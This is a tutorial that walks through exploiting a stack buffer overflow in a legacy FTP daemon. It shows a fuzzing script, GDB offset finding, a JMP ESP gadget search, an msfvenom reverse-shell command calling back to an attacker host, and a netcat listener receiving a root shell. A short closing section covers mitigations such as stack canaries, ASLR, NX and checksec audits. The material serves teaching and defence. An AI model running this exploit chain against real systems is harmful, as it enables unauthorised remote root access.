In 2003, the Slammer worm exploited a stack buffer overflow in Microsoft SQL Server and infected 75,000 machines in ten minutes. The vulnerability itself was trivial — a missing bounds check. Two decades later, buffer overflows still appear in embedded firmware, legacy daemons, and custom applications running on production servers right now. This guide walks you through exploiting one from scratch.
Step 1: Crash the Target and Find the Offset
We’re targeting a vulnerable custom FTP daemon running on 192.0.2.47, port 21. The binary is ftpd-legacy, compiled without stack canaries or ASLR. Our goal is to control EIP — the instruction pointer — which tells the CPU what to execute next.
First, we fuzz the USER command with a long cyclic pattern generated by pwntools (a Python library built for exploit development). A cyclic pattern contains unique 4-byte subsequences, so when the program crashes, the value in EIP tells you exactly where in your input the overflow happened.
$ python3 -c "
import socket
from pwn import cyclic
payload = cyclic(500)
s = socket.socket()
s.connect(('192.0.2.47', 21))
s.recv(1024)
s.send(b'USER ' + payload + b'\r\n')
s.close()
print('Payload sent')
"
Payload sent
The daemon crashes. We attach GDB to the process beforehand to catch the fault. Here’s what we see:
(gdb) run
Starting program: /usr/local/sbin/ftpd-legacy
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
(gdb) info registers eip
eip 0x6161616c 0x6161616c
EIP holds 0x6161616c. Feed that back into pwntools:
$ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))"
268
The offset is 268 bytes. That means bytes 1–268 fill the buffer, and bytes 269–272 land directly in EIP. You now control where execution jumps. Next, you need somewhere to jump to.
Step 2: Find a JMP ESP Gadget and Build the Payload
With EIP control confirmed, the classic technique is to redirect execution to a JMP ESP instruction inside a loaded module. JMP ESP tells the CPU to jump to whatever is sitting on top of the stack — which we’ll fill with shellcode. We use ROPgadget to locate one inside the binary itself.
$ ROPgadget --binary /usr/local/sbin/ftpd-legacy --opcode "ffe4"
Gadgets information
============================================================
0x0804a3c2 : jmp esp
Unique gadgets found: 1
Address 0x0804a3c2 — no ASLR means this address is static every run. Now we build the payload: 268 bytes of padding, the JMP ESP address in little-endian format, a short NOP sled, then shellcode. We generate a reverse shell payload with msfvenom.
$ msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.0.2.10 LPORT=4444 \
-b '\x00\x0a\x0d' \
-f python -v shellcode
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
shellcode = b""
shellcode += b"\xda\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
shellcode += b"\xb1\x12\x31\x53\x17\x03\x53\x17\x83"
# ... (95 bytes total)
The -b flag strips bad characters — null bytes, newlines, carriage returns — that would terminate the string inside the daemon. Now assemble the final exploit:
$ python3 exploit.py
[*] Connecting to 192.0.2.47:21
[*] Sending payload (268 + 4 + 16 + 95 = 383 bytes)
[*] Done. Check your listener.
# On attacker machine (192.0.2.10):
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.0.2.47 49832
id
uid=0(root) gid=0(root) groups=0(root)
Root shell. The daemon was running as root — common on legacy systems where the binary needs to bind port 21. The entire exploitation chain took under five minutes once the offset was known.
What Defenders Do With This Information
Every mitigation maps directly to a step above. Stack canaries place a random value between the buffer and EIP; overwriting it triggers a crash before the hijack lands. ASLR randomizes module base addresses, making that static 0x0804a3c2 gadget unreliable. NX/DEP marks the stack non-executable, so jumping to shellcode on the stack causes an immediate fault instead of code execution.
Check your binaries right now:
$ checksec --file=/usr/local/sbin/ftpd-legacy
[*] '/usr/local/sbin/ftpd-legacy'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RPATH: No RPATH
RUNPATH: No RUNPATH
Every “No” is a missing layer of defense. A binary with all protections enabled forces attackers into far more complex techniques — information leaks, heap grooming, ROP chains. Most opportunistic attackers move on.
What To Do Now
Pull checksec and run it against every custom or third-party binary on your production servers today. Any binary missing stack canaries and NX that also handles untrusted input is a priority audit target. Recompile with -fstack-protector-strong and -z noexecstack, or isolate the service behind a non-root user with strict network controls while you schedule the fix. Start with the one listening on a public-facing port.
